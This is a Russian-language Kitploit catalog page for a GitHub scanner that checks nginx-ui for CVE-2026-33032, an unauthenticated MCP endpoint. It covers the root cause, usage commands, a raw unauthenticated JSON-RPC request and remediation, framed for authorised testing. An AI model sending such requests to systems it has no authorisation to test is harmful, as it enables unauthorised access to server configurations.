Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-33032-scanner — Неразрушающий сканер уязвимостей для обхода аутентификации конечной точки MCP в Nginx-UI (CVE-2026-33032) | Kitploit
Инструменты/GitHubGitHub/twinson333/cve-2026-33032-scanner
Сканеры уязвимостейЭксплуатацияВеб-безопасностьТестирование на ПроникновениеАутентификацияБезопасность API
GitHubtwinson333/cve-2026-33032-scanner

cve-2026-33032-scanner

Неразрушающий сканер уязвимостей для обхода аутентификации конечной точки MCP в Nginx-UI (CVE-2026-33032)

Репозиторий
32226 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Сканер CVE-2026-33032

Нераэрушающий сканер уязвимостей для обхода аутентификации MCP-эндпоинта Nginx-UI

Обзор уязвимости

CVE-2026-33032 — это уязвимость обхода аутентификации в интеграции Model Context Protocol (MCP) в nginx-ui. Эндпоинт /mcp_message не имеет промежуточного ПО аутентификации, предоставляя при этом доступ ко всем MCP-инструментам, что позволяет удалённым злоумышленникам:

  • Читать конфигурации и статус nginx
  • Создавать/изменять/удалять файлы конфигурации nginx
  • Перезапускать или перезагружать службу nginx
  • Похищать конфиденциальные данные конфигурации
  • Внедрять вредоносные конфигурации для перехвата трафика

Корневая причина

  1. Асимметрия аутентификации: Эндпоинт /mcp требует аутентификацию, а /mcp_message — нет:

    r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
    r.Any("/mcp_message", middleware.IPWhiteList(), ...)  // Отсутствует AuthRequired()
    
  2. Белый список IP с режимом fail-open: Белый список IP по умолчанию пуст, и промежуточное ПО трактует это как «разрешить всем»

  3. Оба эндпоинта используют общий обработчик: Оба маршрутизируются к одному mcp.ServeHTTP(), который обрабатывает все вызовы MCP-инструментов

Возможности сканера

✅ Нераэрушающее тестирование — используются только MCP-инструменты с доступом на чтение
✅ Комплексная идентификация — определяет установки nginx-ui
✅ Безопасное доказательство концепции — никаких изменений конфигурации
✅ Пакетное сканирование — обработка нескольких целей из файла
✅ Подробные отчёты — вывод в формате JSON для интеграции

Установка

# Клонируйте или скачайте сканер
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py

# Установите зависимости (при необходимости)
pip3 install requests

Использование

Базовое сканирование

# Сканирование одной цели
python3 cve-2026-33032-scanner.py -u http://target.com:9000

# Сканирование с подробным выводом
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v

# Пользовательский таймаут
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15

Пакетное сканирование

# Сканирование нескольких целей из файла
python3 cve-2026-33032-scanner.py -f targets.txt

# С подробным выводом и JSON-отчётом
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json

#Burp Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net

Формат файла целей

# targets.txt — по одному URL на строку
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000

Как это работает

Сканер выполняет многоэтапный процесс обнаружения:

Этап 1: Идентификация

Проверяет типичные эндпоинты nginx-ui для определения установки:

  • /api/info — информация о версии
  • /login — страница входа
  • /api/auth/login — эндпоинт аутентификации
  • /mcp и /mcp_message — MCP-эндпоинты

Этап 2: Проверка аутентификации

Тестирует эндпоинт /mcp, чтобы убедиться, что он корректно требует аутентификацию (базовый уровень)

Этап 3: Эксплуатация уязвимости

Выполняет нераэрушающие вызовы MCP-инструментов через /mcp_message БЕЗ аутентификации:

  1. nginx_status (самый безопасный) — читает статус процесса nginx
  2. nginx_config_list — выводит список файлов конфигурации
  3. nginx_config_base_path — получает путь к каталогу конфигурации

Если любой инструмент выполняется без аутентификации, уязвимость подтверждена.

Используемые безопасные MCP-инструменты

Сканер вызывает только MCP-инструменты с доступом на чтение:

ИнструментОписаниеВоздействие
nginx_statusЧтение статуса службы nginxБез изменений
nginx_config_listВывод списка файлов конфигурацииБез изменений
nginx_config_base_pathПолучение пути к каталогу конфигурацииБез изменений

Инструменты, явно исключённые:

  • nginx_config_add — создал бы файлы
  • nginx_config_modify — изменил бы конфигурации
  • restart_nginx / reload_nginx — нарушение работы службы
  • nginx_config_enable — изменил бы активные конфигурации

Примеры вывода

Уязвимая цель

[+] nginx-ui обнаружен: Найдено 'nginx-ui' в /login
[+] Эндпоинт /mcp корректно защищён

[*] Тестирование эндпоинта /mcp_message (CVE-2026-33032)...
  [*] Попытка инструмента: nginx_status — чтение статуса nginx (самый безопасный)
      Статус: 200

======================================================================
[!] УЯЗВИМ к CVE-2026-33032
======================================================================
Доказательство: Успешно выполнен nginx_status без аутентификации

Защищённая цель

[+] nginx-ui обнаружен: Эндпоинт версии доступен
[+] Эндпоинт /mcp корректно защищён

[*] Тестирование эндпоинта /mcp_message (CVE-2026-33032)...
  [*] Попытка инструмента: nginx_status — чтение статуса nginx (самый безопасный)
      Статус: 401
      Требуется аутентификация (защищено) ✓

[+] НЕ уязвим — эндпоинт требует аутентификацию

Устранение уязвимости

Если уязвимость подтверждена:

  1. Немедленное исправление: Добавьте промежуточное ПО аутентификации к /mcp_message:

    r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
        func(c *gin.Context) {
            mcp.ServeHTTP(c)
        })
    
  2. Эшелонированная защита:

    • Настройте белый список IP на запрет всех по умолчанию
    • Ограничьте MCP-эндпоинты только localhost, если внешний доступ не требуется
    • Внедрите ограничение скорости на MCP-эндпоинтах
  3. Обновление: Обновитесь до исправленной версии nginx-ui, когда она станет доступна

Ответственное раскрытие

Этот инструмент предназначен для:

  • ✅ Программ bug bounty
  • ✅ Авторизованного тестирования на проникновение
  • ✅ Исследований безопасности с разрешения
  • ✅ Проверки уязвимостей перед раскрытием

НЕ используйте этот инструмент на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Советы по Bug Bounty

При сообщении об этой уязвимости:

  1. Критичность: Критическая (CVSS 9.8+)

    • Доступна по сети
    • Аутентификация не требуется
    • Полная компрометация системы
    • Эксфильтрация + модификация конфигурации
  2. Доказательство: Включите вывод сканера, показывающий успешный вызов MCP-инструмента без аутентификации

  3. Цепочка воздействия:

    • Неаутентифицированный доступ → Чтение конфигурации → Раскрытие топологии бэкенда
    • Запись конфигурации → Внедрение вредоносного прокси → Сбор учётных данных
    • Перезапуск nginx → Нарушение работы службы → DoS
  4. Безопасное PoC: Используйте только инструменты с доступом на чтение (nginx_status, nginx_config_list)

Технические детали

Формат вызова MCP-инструмента

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_status",
    "arguments": {}
  },
  "id": 1
}

Успешный ответ

{
  "jsonrpc": "2.0",
  "result": {
    "content": [
      {
        "type": "text",
        "text": "nginx is running (PID: 1234)"
      }
    ]
  },
  "id": 1
}

Защищённый ответ

HTTP/1.1 401 Unauthorized
{
  "error": "authentication required"
}

Ссылки

  • CVE: CVE-2026-33032
  • Затронуто: nginx-ui (версии с интеграцией MCP)
  • CVSS: 9.8 (Критическая)
  • CWE: CWE-306 (Отсутствие аутентификации для критической функции)

Лицензия

Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.

Автор

Antony Esthak Twinson @ Cyber Tamarin
Исследователь безопасности | Охотник за Bug Bounty
Специализация: безопасность веб-приложений и исследование уязвимостей


Скачать инструмент